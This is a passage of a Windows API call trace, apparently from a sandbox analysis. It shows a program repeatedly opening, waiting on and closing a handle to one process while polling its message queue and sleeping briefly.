(dwMilliseconds=0x1) [0132.485] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0132.485] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0132.500] CloseHandle (hObject=0x190) returned 1 [0132.500] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0132.500] Sleep (dwMilliseconds=0x1) [0132.522] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0132.522] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0132.531] CloseHandle (hObject=0x190) returned 1 [0132.531] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0132.531] Sleep (dwMilliseconds=0x1) [0132.554] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0132.554] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0132.562] CloseHandle (hObject=0x190) returned 1 [0132.562] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0132.563] Sleep (dwMilliseconds=0x1) [0132.578] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0132.578] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0132.594] CloseHandle (hObject=0x190) returned 1 [0132.594] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0132.594] Sleep (dwMilliseconds=0x1) [0132.609] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0132.609] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0132.625] CloseHandle (hObject=0x190) returned 1 [0132.625] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0132.625] Sleep (dwMilliseconds=0x1) [0132.651] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0132.651] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0132.656] CloseHandle (hObject=0x190) returned 1 [0132.656] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0132.656] Sleep (dwMilliseconds=0x1) [0132.675] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0132.675] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0132.687] CloseHandle (hObject=0x190) returned 1 [0132.687] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0132.687] Sleep (dwMilliseconds=0x1) [0132.721] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0132.721] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0132.737] CloseHandle (hObject=0x190) returned 1 [0132.737] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0132.737] Sleep (dwMilliseconds=0x1) [0132.750] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0132.750] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0132.793] CloseHandle (hObject=0x190) returned 1 [0132.793] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0132.793] Sleep (dwMilliseconds=0x1) [0132.845] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0132.845] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0132.859] CloseHandle (hObject=0x190) returned 1 [0132.859] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0132.859] Sleep (dwMilliseconds=0x1) [0132.875] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0132.875] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0132.890] CloseHandle (hObject=0x190) returned 1 [0132.890] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0132.890] Sleep (dwMilliseconds=0x1) [0132.931] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0132.931] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0132.937] CloseHandle (hObject=0x190) returned 1 [0132.937] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0132.937] Sleep (dwMilliseconds=0x1) [0132.953] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0132.953] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0132.968] CloseHandle (hObject=0x190) returned 1 [0132.968] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0132.968] Sleep (dwMilliseconds=0x1) [0132.984] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0132.984] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0132.999] CloseHandle (hObject=0x190) returned 1 [0132.999] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0132.999] Sleep (dwMilliseconds=0x1) [0133.015] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0133.015] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0133.030] CloseHandle (hObject=0x190) returned 1 [0133.031] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0133.031] Sleep (dwMilliseconds=0x1) [0133.046] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0133.046] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0133.062] CloseHandle (hObject=0x190) returned 1 [0133.062] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0133.062] Sleep (dwMilliseconds=0x1) [0133.077] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0133.077] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0133.093] CloseHandle (hObject=0x190) returned 1 [0133.093] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0133.093] Sleep (dwMilliseconds=0x1) [0133.109] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0133.109] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0133.124] CloseHandle (hObject=0x190) returned 1 [0133.124] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0133.124] Sleep (dwMilliseconds=0x1) [0133.140] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0133.140] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0133.155] CloseHandle (hObject=0x190) returned 1 [0133.155] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0133.155] Sleep (dwMilliseconds=0x1) [0133.171] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0133.171] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0133.194] CloseHandle (hObject=0x190) returned 1 [0133.194] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0133.194] Sleep (dwMilliseconds=0x1) [0133.202] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0133.202] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0133.218] CloseHandle (hObject=0x190) returned 1 [0133.218] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0133.218] Sleep (dwMilliseconds=0x1) [0133.234] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0133.234] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0133.250] CloseHandle (hObject=0x190) returned 1 [0133.250] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0133.250] Sleep (dwMilliseconds=0x1) [0133.267] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0133.267] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0133.280] CloseHandle (hObject=0x190) returned 1 [0133.280] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0133.280] Sleep (dwMilliseconds=0x1) [0133.296] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0133.296] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0133.313] CloseHandle (hObject=0x190) returned 1 [0133.313] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0133.313] Sleep (dwMilliseconds=0x1) [0133.327] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0133.327] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0133.342] CloseHandle (hObject=0x190) returned 1 [0133.342] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0133.343] Sleep (dwMilliseconds=0x1) [0133.361] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0133.361] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0133.374] CloseHandle (hObject=0x190) returned 1 [0133.374] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0133.374] Sleep (dwMilliseconds=0x1) [0133.390] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0133.390] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0133.409] CloseHandle (hObject=0x190) returned 1 [0133.409] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0133.409] Sleep (dwMilliseconds=0x1) [0133.421] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0133.421] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0133.436] CloseHandle (hObject=0x190) returned 1 [0133.436] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0133.436] Sleep (dwMilliseconds=0x1) [0133.452] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0133.452] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0133.467] CloseHandle (hObject=0x190) returned 1 [0133.468] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0133.468] Sleep (dwMilliseconds=0x1) [0133.485] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0133.485] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0133.498] CloseHandle (hObject=0x190) returned 1 [0133.498] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0133.498] Sleep (dwMilliseconds=0x1) [0133.514] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0133.514] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0133.530] CloseHandle (hObject=0x190) returned 1 [0133.530] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0133.530] Sleep (dwMilliseconds=0x1) [0133.548] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0133.548] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0133.564] CloseHandle (hObject=0x190) returned 1 [0133.564] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0133.564] Sleep (dwMilliseconds=0x1) [0133.585] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0133.585] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0133.592] CloseHandle (hObject=0x190) returned 1 [0133.592] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0133.592] Sleep (dwMilliseconds=0x1) [0133.608] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0133.608] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0133.623] CloseHandle (hObject=0x190) returned 1 [0133.623] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0133.623] Sleep (dwMilliseconds=0x1) [0133.639] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0133.639] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0133.655] CloseHandle (hObject=0x190) returned 1 [0133.656] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0133.656] Sleep (dwMilliseconds=0x1) [0133.670] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0133.670] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0133.686] CloseHandle (hObject=0x190) returned 1 [0133.686] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0133.686] Sleep (dwMilliseconds=0x1) [0133.708] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0133.708] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0133.718] CloseHandle (hObject=0x190) returned 1 [0133.718] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0133.718] Sleep (dwMilliseconds=0x1) [0133.733] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0133.733] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0133.748] CloseHandle (hObject=0x190) returned 1 [0133.748] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0133.748] Sleep (dwMilliseconds=0x1) [0133.764] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0133.764] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0133.780] CloseHandle (hObject=0x190) returned 1 [0133.780] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0133.780] Sleep (dwMilliseconds=0x1) [0133.795] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0133.795] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0133.810] CloseHandle (hObject=0x190) returned 1 [0133.811] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0133.811] Sleep (dwMilliseconds=0x1) [0133.826] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0133.826] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0133.842] CloseHandle (hObject=0x190) returned 1 [0133.842] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0133.842] Sleep (dwMilliseconds=0x1) [0133.858] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0133.858] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0133.873] CloseHandle (hObject=0x190) returned 1 [0133.873] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0133.873] Sleep (dwMilliseconds=0x1) [0133.889] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0133.889] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0133.904] CloseHandle (hObject=0x190) returned 1 [0133.904] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0133.904] Sleep (dwMilliseconds=0x1) [0133.921] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0133.921] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0133.935] CloseHandle (hObject=0x190) returned 1 [0133.935] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0133.935] Sleep (dwMilliseconds=0x1) [0133.951] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0133.951] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0133.966] CloseHandle (hObject=0x190) returned 1 [0133.967] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0133.967] Sleep (dwMilliseconds=0x1) [0133.984] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0133.984] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0133.999] CloseHandle (hObject=0x190) returned 1 [0133.999] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0133.999] Sleep (dwMilliseconds=0x1) [0134.013] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0134.013] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0134.029] CloseHandle (hObject=0x190) returned 1 [0134.029] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0134.029] Sleep (dwMilliseconds=0x1) [0134.045] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0134.045] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0134.060] CloseHandle (hObject=0x190) returned 1 [0134.060] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0134.060] Sleep (dwMilliseconds=0x1) [0134.076] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0134.076] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0134.092] CloseHandle (hObject=0x190) returned 1 [0134.092] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0134.092] Sleep (dwMilliseconds=0x1) [0134.107] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0134.107] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0134.122] CloseHandle (hObject=0x190) returned 1 [0134.122] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0134.122] Sleep (dwMilliseconds=0x1) [0134.142] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0134.142] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0134.158] CloseHandle (hObject=0x190) returned 1 [0134.158] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0134.158] Sleep (dwMilliseconds=0x1) [0134.181] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0134.181] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0134.194] CloseHandle (hObject=0x190) returned 1 [0134.194] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0134.194] Sleep (dwMilliseconds=0x1) [0134.201] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0134.201] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0134.217] CloseHandle (hObject=0x190) returned 1 [0134.217] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0134.217] Sleep (dwMilliseconds=0x1) [0134.251] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0134.251] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0134.268] CloseHandle (hObject=0x190) returned 1 [0134.268] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0134.268] Sleep (dwMilliseconds=0x1) [0134.279] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0134.279] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0134.303] CloseHandle (hObject=0x190) returned 1 [0134.303] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0134.303] Sleep (dwMilliseconds=0x1) [0134.310] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0134.310] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0134.333] CloseHandle (hObject=0x190) returned 1 [0134.333] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0134.333] Sleep (dwMilliseconds=0x1) [0134.341] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0134.341] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0134.356] CloseHandle (hObject=0x190) returned 1 [0134.356] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0134.357] Sleep (dwMilliseconds=0x1) [0134.372] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0134.372] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0134.388] CloseHandle (hObject=0x190) returned 1 [0134.388] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0134.388] Sleep (dwMilliseconds=0x1) [0134.406] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0134.406] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0134.420] CloseHandle (hObject=0x190) returned 1 [0134.420] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0134.421] Sleep (dwMilliseconds=0x1) [0134.435] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0134.435] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0134.450] CloseHandle (hObject=0x190) returned 1 [0134.450] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, 